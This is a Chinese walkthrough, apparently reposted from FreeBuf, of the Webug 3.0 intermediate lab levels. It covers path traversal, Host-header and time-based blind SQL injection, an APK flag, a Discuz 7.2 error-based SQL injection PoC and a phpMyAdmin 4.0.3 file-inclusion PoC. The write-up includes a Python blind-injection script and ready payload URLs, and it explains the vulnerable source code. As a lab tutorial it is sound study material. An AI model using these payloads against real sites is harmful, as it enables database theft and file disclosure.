我们的漏洞Webug 3.0中级进阶攻略(上)

WeBug名称定义为“我们的漏洞”靶场环境。基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。

这次带来Webug3.0中级进阶上部分 借鉴了很多前辈的文章 有些关卡可能是本身环境配置的问题 无法复现漏洞 或者我姿势不对 如果有做出的大佬可以补充一下~

中级进阶——上

第一关:出来点东西吧 ../../etc/passwd

../../etc/passwd 提示了可能是要读取文件 同时webug是个windows 2003的虚拟机 也不存在/etc/passwd

开始无论选择什么国点go 啥都没有点纳闷 仅仅后面的country变了

后来一看源码发现路径是路径写的不对..

把cc目录下的几个文件移到上级目录 选择世界就会正常显示出图片了

这关就是一个任意文件读取的漏洞 跨目录读取了主页文件index.html

看了源文件没发现哪里有flag 可能题目没完善或是我没找到 总之就是一个任意文件读取漏洞

第二关:提交的方式是怎样的啊? pass!

这回不用改也显示正常了 点餐就直接出来了图片 这回url后面没有带参数了

根据关卡“提交的方式是怎样的啊” 那就是post了 后来抓包也证实了这点

一样是一个任意文件读取漏洞 不过换成了post方式 目的让大家认识这个漏洞

第三关:我还是一个注入 怎么又TM注入

题目说又是注入 没有参数可注 就想到了头部注入 但无奈水平过低 无法注入 只好看源码

发现原来是host头注入 实在是没想到啊

知道了就好办了 跟普通注入一样的来 得到列长为4

得到表名

最后得到flag

第四关:APK里面有一个FLAG 看看APK

apk用android killer打开 不是很懂apk逆向也大致看了一下 把这四个base64解密好像就是flag了

或者点击apk里面的按钮三百下 就会给出flag

第五关:时间注入 时间注入

提示加type参 get型时间盲注

用sleep()来确认是否是时间盲注 如果是 则延时x秒执行 不是则立即返回

手工盲注就太累了 照网上的代码 写了一个时间盲注的python脚本

自动跑出库名 表名和列名改改payload也是一样可以跑出来的

#encoding=utf-8 #时间盲注脚本import requestsimport timepayloads = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789@_.}{,'#存放跑出的结果length=0database=''table=''print 'start get length...'for l in range(1,21):    startTime1=time.time()    url1 = "http://192.168.37.147/pentest/test/time/?type=1 and if(length(database())=%d,sleep(5),1)"%(l)    response1 = requests.get(url1)    if time.time() - startTime1 > 5:        length=l        print "the length is " + str(length)        breakprint 'start database sql injection...'for d in range(1,length+1):    for payload in payloads:        startTime2=time.time()        url2 = "http://192.168.37.147/pentest/test/time/?type=1 and if(substr(database(),'%d',1)='%s',sleep(5),1)"%(d,payload)        response2 = requests.get(url2) #发送请求        if time.time() - startTime2 > 5: #判断是否延时了5秒 也就是 是否执行了函数sleep(5)            database+=payload            print database            breakprint "the database is " + database

实战练习:DZ论坛 注入

好像配置有点问题还是咋的= = 无法复现

于是在本地自行搭建了一个dz7.2的环境

需要的环境小伙伴自取(均从网上搜集):(阅读原文获取云盘链接)

MySQL Duplicate entry报错注入 PoC:

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

问题发生在faq.php 148行开始

185行定义了一个数组groupids,然后遍历同样是数组的gids,将数组中所有值的第一位取出来放在groupids中。

dz在全局会对get传递过来的数组用函数addslashes进行转义,单引号 ‘ 会被转义成 \’ 。

而 $groupids[] = $row[0] 又取了字符串的第一个字符,也就是把 \ 转义符号给取出来了。

再到190行末尾 对 groupids 用implodeids函数进行了处理

在 /include/global.func.php中 672行 看到implodeids函数

function implodeids($array) {    if(!empty($array)) {        return "'".implode("','", is_array($array) ? $array : array($array))."'";    } else {        return '';    }}

如果数组不为空就将其用 ‘,’ 分隔开,就好像1234返回’1’,’2’,’3’,’4’

但前面取出了一个 \ 转义符号就变成了

‘1’,’\’,’3’,’4’

第4个单引号就被转义了,第3个单引号就与第5个单引号闭合了,那么“3”就逃逸出了单引号的限制,产生了注入。

faq.php?gids[x]=’&gids[x+1][uid]=sql 如此构造就可以突破安全处理

实战练习:ASPCMS 注入

怎么都搭建不起来。。头皮发麻ing

实战练习:phpMyAdmin 任意文件包含漏洞

不知为啥给的环境报错… 干脆自己本地搭建了一个 phpMyadmin 4.0.3 + php 5.2.17

phpMyAdmin下载地址http://pan.baidu.com/s/1dEYo9zj

PoC

http://localhost/pma4.0.3/gis_data_editor.php?token=4f4b3ee07ffc84e6bbef624931ae6999&gis_data[gis_type]=/../../advisory_rules.txt%00

token登录进去就会给,是phpMyAdmin的CSRF防御机制。

gis_data[gis_type]=file%00 file替换为要包含的文件路径

实际文件路径为 ./libraries/gis/pma_gis_file

注意%00截断

首先来到 \libraries\gis\pma_gis_factory.php 29行

接收到 type 参数之后再第33行 转换成小写并赋值给了 type_lower ,并在下面拼接成路径进行include_once

再来到根目录下的gis_data_editor.php

第28行 $_REQUEST[‘gis_data’] 获取到gis_data,第44行如果 $gis_data[‘gis_type’] 存在,则直接来到60行,赋值给 geom_type,并传入了PMA_GIS_Factory::factory函数。

一句话来说就是因为将 $gis_data[‘gis_type’] 拼接进了路径并进行了include_once中,造成了任意文件包含漏洞。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-11-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏前端达人

JavaScript基础——你真的清楚JavaScript是什么吗?

为前端开发,你是否问过自己或者思考过什么是JavaScript吗?JavaScript有什么特点?如果让你让一句话高度介绍,你会怎么说?小编认为,在你想深入一门...

23110
来自专栏禁心尽力

多线程编程:多线程并发制单的开发记录【一】

进程和线程: 下图是在来自知乎用户的解释,个人感觉狠到位 ?        进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资...

2037
来自专栏腾讯IVWEB团队的专栏

在 NodeJS 中玩转 Protocol Buffer

Protocol Buffers 是一种轻便高效的结构化数据存储格式,可以用于结构化数据序列化,很适合做数据存储或 RPC 数据交换格式。

1.4K0
来自专栏Java开发者杂谈

Spring @Transactional踩坑记

@Transactional踩坑记 总述 ​ Spring在1.2引入@Transactional注解, 该注解的引入使得我们可以简单地通过在方法或者类上添加@...

7387
来自专栏along的开发之旅

从源码看DL4J中Native BLAS的加载,以及配置

最近在用DeepLearning4J(DL4J)尝试语音识别的深度学习,git DL4J的代码,用IntelliJ IDEA打开,配置好相关依赖后,运行包org...

1093
来自专栏CRPER折腾记

NG2.4.10升级NG4正式版[正式项目]:修正AOT打包报错的一些问题

上周五,ng4正式发布了。。很多小伙伴迫不及待的把项目升级了。。。 然后到群里各种吼,无损升级,没有什么奇葩问题,大家放心升级。。 我信了。。。把公司的项目给升...

741
来自专栏小鹏的专栏

在mac上安装Xgboost Python库

最近在mac上用到xgboost库,安装时遇到颇多大坑,网上查了很多答案几乎都是win上的问题,没遇到理想的,自己也就摸着石头把几个大坑给填了,总结一下,给后...

25710
来自专栏大内老A

ASP.NET Core中的依赖注入(1):控制反转(IoC)

ASP.NET Core在启动以及后续针对每个请求的处理过程中的各个环节都需要相应的组件提供相应的服务,为了方便对这些组件进行定制,ASP.NET通过定义接口的...

2225
来自专栏IT技术精选文摘

Java Instrument 功能使用及原理

1683
来自专栏肖洒的博客

Java调用Python的错误

因为这篇Java调用Python 之前试过用Java调用Python,到真正用的时候才发现是一个乌龙。

1792

扫码关注云+社区